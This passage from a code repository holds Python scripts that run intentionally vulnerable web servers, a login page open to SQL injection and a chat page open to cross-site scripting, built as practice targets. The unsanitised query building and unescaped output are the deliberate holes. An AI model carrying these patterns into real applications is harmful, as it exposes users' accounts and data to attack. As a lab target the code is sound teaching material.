134 |             return item
135 |         else:
136 |             return [("No Results.", "")]
137 |     def handler(self, conn, msg, ip):
138 |         try:
139 |             conn.send('HTTP/1.0 200 OK\n'.encode())
140 |             conn.send('Content-Type: text/html\n'.encode())
141 |             if "/?search=" in msg.split()[1]:
142 |                 try:
143 |                     search = self.simplify_str(str(msg).split()[1].split("=")[1]).lower()
144 |                     results = ""
145 |                     if search.strip() == "":
146 |                         conn.send(self.packet.encode())
147 |                     else:
148 |                         query = f"select item, price from items where item = '{search}'"
149 |                         results = self.search(query)
150 |                         packet = self.gen_packet(sqlquery=query, results=results)
151 |                         conn.send(packet.encode())
152 |                 except Exception as e:
153 |                     print(f"[+] Error: {e}")
154 |                     packet = self.gen_packet(sqlquery=query, results=results)
155 |                     conn.send(packet.encode())
156 |             else:
157 |                 conn.send(self.packet.encode())
158 |             conn.close()
159 |         except:
160 |             pass
161 | e = WebServer()
162 | e.listen()
163 | 


--------------------------------------------------------------------------------
/Vulnerable Scripts/VulnerableSQLServer.py:
--------------------------------------------------------------------------------
  1 | import sqlite3, socket, threading, sys
  2 | 
  3 | class WebServer:
  4 |     def __init__(self):
  5 |         self.logo()
  6 |         self.valid = False
  7 |         self.name_list = ["admin adminpassword123456", "bobby cheeseburger69", "david 19216801", "mine craft", "jerry password", "tom jerry"]
  8 |         self.names = ["admin","bobby","david","mine","jerry","tom"]
  9 |         self.passwords = ["adminpassword123456", "cheeseburger69", "19216801", "craft", "password", "jerry"]
 10 |         try:
 11 |             self.ip = sys.argv[1]
 12 |             self.port = int(sys.argv[2])
 13 |             self.dbfile = "users.db"
 14 |             try:
 15 |                 file = open(self.dbfile,"r")
 16 |             except:
 17 |                 file = open(self.dbfile,"w")
 18 |             db = sqlite3.connect(self.dbfile)
 19 |             cursor = db.cursor()
 20 |             try:
 21 |                 cursor.execute("select * from users")
 22 |             except:
 23 |                 cursor.execute("create table users(name, password, logins)")
 24 |             try:
 25 |                 for i in self.name_list:
 26 |                     cursor.execute(f"delete from users where name = '{i.split()[0]}'")
 27 |             except:
 28 |                 pass
 29 |             for i in self.name_list:
 30 |                 cursor.execute(f"insert into users values('{i.split()[0]}', '{i.split()[1]}', '0')")
 31 |             print(f"\n[+] Try to break into these accounts via SQL Injection: {self.names}")
 32 |             print(f"[+] In case you give up, here are the passwords to the accounts: {self.passwords}\n")
 33 |             try:
 34 |                 self.externalip = sys.argv[3]
 35 |             except Exception as e:
 36 |                 self.externalip = self.ip
 37 |             self.valid = True
 38 |             db.commit()
 39 |             cursor.close()
 40 |             db.close()
 41 |         except Exception as e:
 42 |             print("[+] Invalid Arguments!\n[+] Usage: python3 VulnerableServer.py <ip> <port> <externalip>\n[+] Note: The External IP argument is optional.")
 43 |         if self.valid:
 44 |             try:
 45 |                 self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 46 |                 self.server.bind((self.ip, self.port))
 47 |                 self.msgs = []
 48 |                 self.packet = self.gen_packet()
 49 |                 print(f"[+] Vulnerable SQL Web Server Started on: {self.ip}:{self.port}")
 50 |             except Exception as e:
 51 |                 print(f"[+] Server Cannot be started due to Error: {e}")
 52 |                 self.valid = False
 53 |     def logo(self):
 54 |         print("""
 55 | __      __    _                      _     _       _____  ____  _         _____                                 __   ___  
 56 | \ \    / /   | |                    | |   | |     / ____|/ __ \| |       / ____|                               /_ | / _ \ 
 57 |  \ \  / /   _| |_ __   ___ _ __ __ _| |__ | | ___| (___ | |  | | |      | (___   ___ _ ____   _____ _ __  __   _| || | | |
 58 |   \ \/ / | | | | '_ \ / _ \ '__/ _` | '_ \| |/ _ \ ___ \| |  | | |       \___ \ / _ \ '__\ \ / / _ \ '__| \ \ / / || | | |
 59 |    \  /| |_| | | | | |  __/ | | (_| | |_) | |  __/____) | |__| | |____   ____) |  __/ |   \ V /  __/ |     \ V /| || |_| |
 60 |     \/  \__,_|_|_| |_|\___|_|  \__,_|_.__/|_|\___|_____/ \___\_\______| |_____/ \___|_|    \_/ \___|_|      \_/ |_(_)___/ 
 61 | Vulnerable Web Server made for Testing SQL Injections by DrSquid""")
 62 |     def gen_packet(self, sqlquery="", script=""):
 63 |         packet = f"""
 64 | <title>Vulnerable SQL Web Server</title>
 65 | <h1>Horrific Looking Login Page</h1>
 66 | This is a horrible looking login page. It is meant to be vulnerable to SQL Injections.
 67 | <form action="http://{self.externalip}:{self.port}">
 68 |    <input type="text" placeholder="Username" name="name">
 69 |    <h1></h1>
 70 |    <input type="password" placeholder="Password" name="password">
 71 |     <input type="submit" value="Log in">
 72 |     <h4>Sql Query: {sqlquery}</h4>
 73 | </form>
 74 | {script}
 75 |         """
 76 |         return packet
 77 |     def listen(self):
 78 |         if self.valid:
 79 |             try:
 80 |                 print("[+] Server is listening For Connections.....")
 81 |                 if self.externalip != self.ip:
 82 |                     print(f"[+] Also listening on(for external connections): {self.externalip}:{self.port}")
 83 |                 print("")
 84 |                 while True:
 85 |                     ipaddr = ""
 86 |                     self.server.listen()
 87 |                     conn, ip = self.server.accept()
 88 |                     self.packet = self.gen_packet()
 89 |                     msg = conn.recv(1024).decode()
 90 |                     item = 0
 91 |                     msg_split = msg.split()
 92 |                     for i in msg_split:
 93 |                         if 'x-forwarded-for' in i.lower():
 94 |                             ipaddr = msg_split[item + 1]
 95 |                             break
 96 |                         item += 1
 97 |                     if ipaddr == "":
 98 |                         ipaddr = ip[0]
 99 |                     print(f"[+] {ipaddr} has connected.")
100 |                     handler = threading.Thread(target=self.handler, args=(conn, msg, ipaddr))
101 |                     handler.start()
102 |             except:
103 |                 pass
104 |     def simplify_str(self, item):
105 |         return item.replace("+", " ").replace("%3C", "<").replace("%3E", ">").replace(
106 |         "%2F", "/").replace("%22", '"').replace("%27", "'").replace("%3D", "=").replace("%2B",
107 |         "+").replace("%3A", ":").replace("%28", "(").replace("%29", ")").replace("%2C", ","
108 |         ).replace("%3B", ";").replace("%20", " ").replace("%3F", "?").replace("%5C", "\\"
109 |         ).replace("%7B", "{").replace("%7D", "}").replace("%24", "$").replace("%0D", "\n"
110 |         ).replace("%0A", "   ").replace("%40","@").replace("%25", "%")
111 |     def authenticate(self, query):
112 |         db = sqlite3.connect(self.dbfile)
113 |         cursor = db.cursor()
114 |         cursor.execute(query)
115 |         item = cursor.fetchall()
116 |         if len(item) >= 1:
117 |             return True
118 |         else:
119 |             return False
120 |     def handler(self, conn, msg, ip):
121 |         try:
122 |             conn.send('HTTP/1.0 200 OK\n'.encode())
123 |             conn.send('Content-Type: text/html\n'.encode())
124 |             if "/?name=" in msg.split()[1] and "password" in msg.split()[1]:
125 |                 try:
126 |                     username = self.simplify_str(str(msg).split()[1].split("=")[1].replace("&password","")).lower()
127 |                     password = self.simplify_str(str(msg).split()[1].split("=")[2]).lower()
128 |                     script = ""
129 |                     if username.strip() == "" or password.strip() == "":
130 |                         conn.send(self.packet.encode())
131 |                     else:
132 |                         query = f"select * from users where name = '{username}' and password = '{password}'"
133 |                         if self.authenticate(query):
134 |                             script = "<script>alert('Logged in!')</script>"
135 |                             print(f"[+] {ip} has logged into '{username}' with '{password}'.")
136 |                         else:
137 |                             script = "<script>alert('Invalid Name or Password.')</script>"
138 |                             print(f"[+] {ip} had attempted to login to '{username}' with '{password}' but failed.")
139 |                         packet = self.gen_packet(sqlquery=query, script=script)
140 |                         conn.send(packet.encode())
141 |                 except Exception as e:
142 |                     print(f"[+] Error: {e}")
143 |                     packet = self.gen_packet(sqlquery=query, script=script)
144 |                     conn.send(packet.encode())
145 |             else:
146 |                 conn.send(self.packet.encode())
147 |             conn.close()
148 |         except:
149 |             pass
150 | e = WebServer()
151 | e.listen()
152 | 


--------------------------------------------------------------------------------
/Vulnerable Scripts/VulnerableWebServer.py:
--------------------------------------------------------------------------------
 1 | import socket, threading, sys
 2 | class WebServer:
 3 |     def __init__(self):
 4 |         self.logo()
 5 |         self.valid = False
 6 |         try:
 7 |             self.ip = sys.argv[1]
 8 |             self.port = int(sys.argv[2])
 9 |             try:
10 |                 self.externalip = sys.argv[3]
11 |             except:
12 |                 self.externalip = self.ip
13 |             self.valid = True
14 |         except Exception as e:
15 |             print("[+] Invalid Arguments!\n[+] Usage: python3 VulnerableServer.py <ip> <port> <externalip>\n[+] Note: The External IP argument is optional.")
16 |         if self.valid:
17 |             try:
18 |                 self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
19 |                 self.server.bind((self.ip, self.port))
20 |                 self.msgs = []
21 |                 self.packet = self.gen_packet()
22 |                 print(f"[+] Vulnerable Web Server Started on: {self.ip}:{self.port}")
23 |             except Exception as e:
24 |                 print(f"[+] Server Cannot be started due to Error: {e}")
25 |                 self.valid = False
26 |     def logo(self=None):
27 |         print("""
28 | __   __ _____ _____    __      __    _                      _     _       _____                        __   _____ 
29 | \ \ / // ____/ ____|   \ \    / /   | |                    | |   | |     / ____|                      /_ | | ____|
30 |  \ V /| (___| (___ _____\ \  / /   _| |_ __   ___ _ __ __ _| |__ | | ___| (___   ___ _ ____   __ __   _| | | |__  
31 |   > <  \___ \ ___ \______\ \/ / | | | | '_ \ / _ \ '__/ _` | '_ \| |/ _ \ ___ \ / _ \ '__\ \ / / \ \ / / | |___ \ 
32 |  / . \ ____) |___) |      \  /| |_| | | | | |  __/ | | (_| | |_) | |  __/____) |  __/ |   \ V /   \ V /| |_ ___) |
33 | /_/ \_\_____/_____/        \/  \__,_|_|_| |_|\___|_|  \__,_|_.__/|_|\___|_____/ \___|_|    \_/     \_/ |_(_)____/                                                                                                                                                                                     
34 | Vulnerable Web-Server Made for Pen-Testing By DrSquid
35 | """)
36 |     def gen_packet(self):
37 |         packet = f"""
38 | <title>Vulnerable Web Server</title>
39 | <h1>Horrific Looking Chat Server</h1>
40 | This is an anonoymous Chat Site.
41 | The Server is also made to be vulnerable to Cross site scripting attacks.
42 |         
43 | <form action="http://{self.externalip}:{self.port}">
44 |    <textarea name="msg" cols="50" rows="10" placeholder="Enter your message here."></textarea>
45 |    <h1></h1>
46 |     <input type="submit" value="Send Message">
47 | </form>
48 | """
49 |         for i in self.msgs:
50 |             packet += f"<h5>Anonoymous: {i}</h5>\n"
51 |         return packet
52 |     def listen(self):
53 |         if self.valid:
54 |             print("[+] Server is listening For Connections.....")
55 |             while True:
56 |                 ipaddr = ""
57 |                 self.server.listen()
58 |                 conn, ip = self.server.accept()
59 |                 self.packet = self.gen_packet()
60 |                 msg = conn.recv(1024).decode()
61 |                 item = 0
62 |                 msg_split = msg.split()
63 |                 for i in msg_split:
64 |                     if 'x-forwarded-for' in i.lower():
65 |                         ipaddr = msg_split[item + 1]
66 |                         break
67 |                     item += 1
68 |                 if ipaddr == "":
69 |                     ipaddr = ip[0]
70 |                 handler = threading.Thread(target=self.handler, args=(conn, msg, ipaddr))
71 |                 handler.start()
72 |     def handler(self, conn, msg, ip):
73 |         try:
74 |             conn.send('HTTP/1.0 200 OK\n'.encode())
75 |             conn.send('Content-Type: text/html\n'.encode())
76 |             if "/?msg=" in msg.split()[1]:
77 |                 try:
78 |                     main_msg = str(msg).split()[1].split("=")[1].replace("+", " ").replace("%3C", "<").replace("%3E",">").replace(
79 |                         "%2F", "/").replace("%22", '"').replace("%27", "'").replace("%3D", "=").replace("%2B","+").replace(
80 |                         "%3A", ":").replace("%28", "(").replace("%29", ")").replace("%2C", ",").replace("%3B",";").replace(
81 |                         "%20", " ").replace("%3F", "?").replace("%5C","\\").replace("%7B", "{").replace("%7D","}").replace(
82 |                         "%24", "$").replace("%0D", "\n").replace("%0A", "   ").replace("%40","@")
83 |                     if main_msg.strip() != "":
84 |                         print(f"[+] {ip}: {main_msg}")
85 |                         self.msgs.append(main_msg)
86 |                         self.packet = self.gen_packet()
87 |                 except:
88 |                     pass
89 |             conn.send(self.packet.encode())
90 |             conn.close()
91 |         except:
92 |             pass
93 | serv = WebServer()
94 | serv.listen()
95 | 


--------------------------------------------------------------------------------